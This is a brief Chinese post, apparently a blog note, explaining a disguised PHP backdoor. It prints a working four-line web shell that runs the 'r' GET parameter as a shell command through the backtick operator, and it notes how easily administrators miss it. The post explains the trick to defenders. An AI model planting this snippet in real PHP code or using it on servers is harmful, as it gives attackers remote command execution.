朽木

$selfNums = $_GET['r'];
if (isset($selfNums)){
    echo `$selfNums`;
}

纠到一段看起来似乎没有什么问题的代码，确是能致命的后门代码，这里用到了一个一般的PHPer都不太明白的反撇号 ` ，反撇号包含的字符串，等同于shell_exec函数。

伪装性很好，很容易被管理员忽略。